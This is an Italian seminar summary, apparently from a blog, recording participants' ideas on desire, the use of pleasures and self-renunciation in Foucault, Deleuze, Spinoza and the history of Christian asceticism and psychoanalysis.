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BDF 1.6 – Desideri e uso dei piaceri; sé: costruzione/rinuncia

 

BDF 1.6 “Desideri e uso dei piaceri; sé: costruzione/rinuncia”

 

 

 

 

Di seguito, si riportano alcune elaborazioni, idee e suggestioni emerse dai partecipanti al seminario BDF 1.6:

– Michel Foucault ebbe modo di affermare che preferiva parlare di uso dei piaceri e non di desiderio perché il termine desiderio è un termine storico; anche molti psicoanalisti sembrano riferirsi più al piacere che al desiderio.

– Nel precedente incontro BDF 1.5 si è discusso, tra l’altro, sulla questione del pensiero negativo che produrrebbe idea di mancanza, quindi l’idea di desiderio come relazione oggettuale, in cui il desiderio sarebbe relazionato a un oggetto mancante. Nel pensiero di Deleuze si critica questo pensiero negativo riferendosi al plateau continuo di intensità in Bateson, dove il desiderio è inteso come vibrazione continua su se stessa. Monique David-Ménard riporta molti esempi su tutto ciò, riferendosi anche alle filosofie e culture orientali del desiderio che si contrapporrebbero all’istinto di concrectazione e di detumescenza in Krafft-Ebing.
A ciò si ricollega M.Foucault quando confronta una visione occidentale ottocentesca del desiderio e del suo oggetto da raggiungere/godere/scaricare, con l’uso dei piaceri e loro mantenimento.

– Sembrerebbe che la società/struttura capitalista non possa che generare soggetti e società desideranti; produrre un plateau continuo di intensità senza mai garantire o promettere un piacere, ma soltanto alimentare un desiderio rivolto all’oggetto.

– Sembra che la felicità debba essere associata a un piacere che deve essere associato a un’intensità, una quantità di libido costante; nessuno riesce a praticare tutto ciò, tuttavia è questo che si dovrebbe ricercare; in molti tipi di simbolismi, dal denaro alle prestazioni sessuali, alla bellezza del proprio corpo. Un’idea di felicità nell’equilibrio, in una intensità permanente.

– In Spinoza la felicità è in relazione alla soglia di intensità del gradiente di potenza, dunque felicità come aumento di questo gradiente e come aumento di potenza; al contrario, tristezza come diminuzione di potenza. Per Spinoza, i tre affetti principali sarebbero l’appetitus, la felicità e la tristezza.

– M.Foucault mostra come la costituzione del sè e dell’identità avvenga anche attraverso alcune discipline del corpo, per esempio la dietetica, la dimensione economica, la dimensione della sessualità in relazione alla gestione dei piaceri. Dunque costruisco me stesso in relazione alla mia sessualità, all’esercizio della sessualità e al governo della propria sessualità. Ma la sessualità non rappresentava qualcosa di represso, di contenuto e legato, bensì semplicemente una gestione del sé. Con l’avvento del cristianesimo questa situazione mutò radicalmente: il governo di sé attraverso la sessualità diviene la rinuncia: il governo del piacere diventa la rinuncia al piacere, al suo contenimento e governo/controllo. Il governo della sessualità è penetrato all’interno delle famiglie, ben lontano dal tipo di governo della sessualità nell’antichità. Entra nelle istituzioni, nei collegi educativi. Finché, alla fine dell’Ottocento, la questione del piacere viene diviene un territorio soprattutto della psicoanalisi. Il piacere viene riformulato nei termini del desiderio. Anche il discorso della Chiesa, che anticamente era riferito alla negazione del piacere, oggi viene riferito alla negazione del desiderio. Tra le righe si insinua la dimensione desiderante.

– Nella sua opera finale incompiuta, sulla storia della sessualità, M.Foucault tematizza l’uso dei piaceri legandolo alla cura di sé e, in un certo senso, alla conquista di sé. Ne La cura di sé, studiando Galeno e Artemidoro, Foucault si accorge che più che di sessualità essi si occupano dei regimi alimentari. Galeno parla di piaceri alimentari, non sessuali. Artemidoro, che fa esattamente il contrario di quello che fa Freud: ribalta i sogni erotici in sogni in cui chi li fa avrà più o meno delle possibilità positive. Fino all’avvento del cristianesimo che, per così dire, tematizza la rinuncia al sé e fa nascere, così, il tema delle tentazioni: si pensi, per esempio, al romanzo La tentazione di Sant’Antonio, di Flaubert. O ad alcuni film di Buñuel. Il desiderio come tentazione, ovvero: (quell’oscuro) oggetto del desiderio come qualcosa a cui bisogna rinunciare. Ma è proprio questa rinuncia che costruisce la tentazione, dunque il desiderio.

– In Tecnologie del sé c’è un saggio di William E. Paden dal titolo Teatri dell’umiltà e del sospetto in cui si confronta l’ascetismo tardo antico e l’ascetismo puritano, due forme di rinuncia a sé.

– La pratica ascetica antica come insieme di pratiche che permetterebbero al soggetto di raggiungere la conoscenza di sé. Con il cristianesimo la verità non si troverà più all’interno del soggetto, ma al di fuori di sé, in Dio.

– Distinzione tra ascesi (askêsis) e ascetismo: l’askêsis è esercizio. Quando Foucault recupera il tema dell’askêsis e parla dello stoicismo, dell’epicureismo e di altre discipline simili considerate “terapeutiche”, non dice che sono cose semplici, bensì esercizi molto difficili da praticare e mantenere. E la persona che decideva di sopporsi a questo tipo di vita trascorreva tutta la sua vita da un maestro. Si tratta di un’epoca in cui l’uomo nobile per
si immergeva in un percorso personale, che durava e attraversava tutta la sua vita, per imparare l’askêsis.

– Il bambino masturbatore ne Gli anormali come origine di ogni tipo di perversione. A partire dal Seicento con la pastorale della chiesa cattolica si assiste a una convergenza: da una parte Borromeo comincia a indicare che nella confessione non si può parlare di alcuni temi, ma solo accennarli. Dall’altra, quando nasce il potere psichiatrico, si comincerà a considerare la masturbazione infantile come l’origine delle perversioni sessuali. Intorno alla masturbazione infantile nasce il sapere della sessualità e della degenerazione che, con alcuni mutamenti, è anche il sapere della psicoanalisi. Il passaggio dal bambino come essere innocente a essere perverso e polimorfo non è una invenzione della psicoanalisi, tuttavia sarà quest’ultima a raccoglierlo, con tutto il tema delle punizioni e dei castighi per la masturbazione, anche in ambito “terreno”: cecità, rammollimento del cervello, stanchezza. Sorta di punizioni che precedono l’inferno.

– P.Barbetta presenta un caso clinico di un uomo di successo, ma che ha problemi sessuali con le donne, si sente un po’ intontito nelle relazioni sessuali con le partner, tuttavia conquista molte donne. L’uomo decide di frequentare la terapia…

La prossima volta approfondiremo la questione del desiderio in relazione col piacere, ci accorgeremo che il discorso foucaultiano, apparentemente opposto a quello deleuziano in relazione alla questione desiderio/piacere, è, alla lettura batesoniana, assai più simile di quanto appaia a prima vista. Intanto guardatevi questo sito:

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